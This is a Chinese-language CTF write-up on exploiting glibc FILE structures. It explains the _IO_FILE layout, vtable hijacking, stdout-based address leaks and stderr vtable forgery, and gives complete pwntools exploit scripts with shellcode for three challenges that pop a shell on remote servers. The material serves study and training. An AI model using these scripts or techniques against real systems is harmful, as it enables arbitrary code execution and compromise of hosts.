PWN January 03, 2020

IO_FILE探索

Words count 81k Reading time 1:13 Read count 0

一、IO_File结构体一览

首先看一波源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示

,通过这个值我们可以遍历所有的FILE结构,而这个chain字段中存储的偏移是0x60,也就是说每隔0x60就有一个结构体出现,这里可以调试看看

image-20200527225237230

image-20200527225301006

在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:

1
2
3
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:

1
2
3
4
5
6
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8

在gdb中调试下看看:

56863687200

Vtable存着哪些可以跳转的函数指针呢?看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

56863702635

这里自己写了个简单的程序去研究:

56852921699

56852870143

56852876766)56852878879)56852882459)56852884539)56852886584)56852890983)56852891948)56852894672

56852915312

可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>………malloc(“666”)——>write输出666

_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。

因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现

所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。

二、修改vtable实现控制程序流程:

The_end

56853381572

56853383565

有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想

成格式化字符串写地址),具体往哪里写呢,先来看下结构体:

56864015371

56864021796

56864031048

56863796314

56863763843

可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址,IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
for i in range(2):
sd(p64(vtable+i))
sd(p64(fake_vtable)[i])
for i in range(3):
sd(p64(fake_setbuf+i))
sd(p64(onegadget)[i])

p.interactive()

调试看看情况,发现成功改写:

56863970500

其实这题还可以直接利用exit执行_dl_fini:

56864070852

56864073289

我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
free_hook = libc_base + libc.symbols["__free_hook"]

fake_got = libc_base + 0x5f0f48
print "fake_got--->" + hex(fake_got)
print "onegadget--->" + hex(onegadget)
for i in range(5):
sd(p64(fake_got+i))
sd(p64(onegadget)[i])


p.interactive()

总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。

三、IO_2_1_stdout_泄露地址

这里得看一波源码才了解具体的原理:

首先得知道puts函数的函数调用链:

我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

_IO_new_file_overflow源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;//程序会dang,所以我们不能进入这个if分支,所以f->_flags & _IO_NO_WRITES要等于0,所以flag=0xfbad0000
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
//这个分支复杂,最后也会dang,我们不能进去,所以f->_flags & _IO_CURRENTLY_PUTTING=1即可,所以flag=0xfbad0800
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标函数,这里执行_IO_do_write会涉及到syscall,相当于write(1,buf,size),由于目的就是泄露地址,所以buf=_IO_write_base就是我们要修改的值,一般将末尾改成'\x00',原本是有值的
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

进去do_new_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{//相当于write(1,buf,size)
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)//要进去的话,flag=0xfbad1800
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{//这里虽然可以改,但是如果改成相同的,程序会crash掉,所以要避免进去这个分支
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出,系统调用write
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;//回显出write出来的东西
}

好了,源码解析完毕了,下面就是利用演示了:

这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为’\x00’,在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。

56905120712

程序就是常规的菜单题:

我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)

这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:

1
2
3
4
5
6
7
8
9
10
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')

先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~

再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)

def pwn():
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')
malloc(3,0x60)
edit(5,2,'\xdd\x75')
# debug(0)
malloc(4,0x60)

py = ''
py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
malloc(5,0x60)
edit(5,len(py),py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0x4526a
fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23
free(1)
edit(1,8,p64(fake_chunk))
malloc(1,0x60)
malloc(6,0x60)
py = ''
py += 'a'*0x13 + p64(onegadget)
edit(6,len(py),py)
malloc(7,0x60)
i = 1
while 1:
print i
i += 1
try:
pwn()
except Exception as e:
p.close()
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
continue
else:
sl('cat flag')
p.interactive()

总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。

四、先IO_File泄露地址再修改vtable控制程序流程

拿byteCTF的那道note_five为例:

这题质量还是挺高的,先来看看保护机制:

56994215474

保护全开,然后看看ida分析逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int choice; // ST0C_4
__int64 result; // rax

init_0();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
choice = menu();
result = choice;
if ( choice != 2 )
break;
edit();
}
if ( result > 2 )
break;
if ( result != 1 )
goto LABEL_12;
malloc_0();
}
if ( result != 3 )
break;
free_0();
}
if ( result == 4 )
return result;
LABEL_12:
puts("bad choice");
}
}

常见的菜单题,

56994260358

这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。

这里看看漏洞点:

56994226174

edit时存在offbyone,同时没有puts函数可以泄露地址。

攻击思路如下:

1、利用offbyone实现overlap

2、利用overlap实现改BK指针,攻击global_max_fast

3、改FD指针为stdout-0x51,成功实现劫持

4、改结构体从而泄露真实地址

5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

56994562772

这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
ru("choice>> ")
sl('1')
ru("idx: ")
sl(str(idx))
ru("size: ")
sl(str(size))
def free(index):
ru("choice>> ")
sl('3')
ru("idx:")
sl(str(index))
def edit(index,content):
ru("choice>> ")
sl('2')
ru("idx: ")
sl(str(index))
ru("content: ")
sd(content)
def pwn():
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)

free(0)
payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
edit(2,payload)
free(3)
malloc(0,0x2f0 - 0x10)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
edit(0,payload)
# debug(0)
malloc(3,0xf8)
malloc(3,0xf8)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(2)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)
malloc(3,0xe8)
malloc(4,0xe8)
# debug(0)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4,py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
system = libc_base + libc.symbols["system"]
fake_vtable = libc_base + 0x3c5600-8
binsh = libc_base + libc.search('/bin/sh\x00').next()
py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
edit(4,py)
# trigger abort-->flush
malloc(1,1000)

i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
else:
sl("ls")
break
p.interactive()





# p.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

56994591669

总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。

小结:一般有两种方式去泄漏地址:

第一种:

image-20200322181726307

第二种:

原来有一次大堆块,然后通过切割得到含有真实地址的free的fastbin,再次伪造大堆块,通过覆盖写,从而修改fd指针,重点在于2次伪造大堆块

0%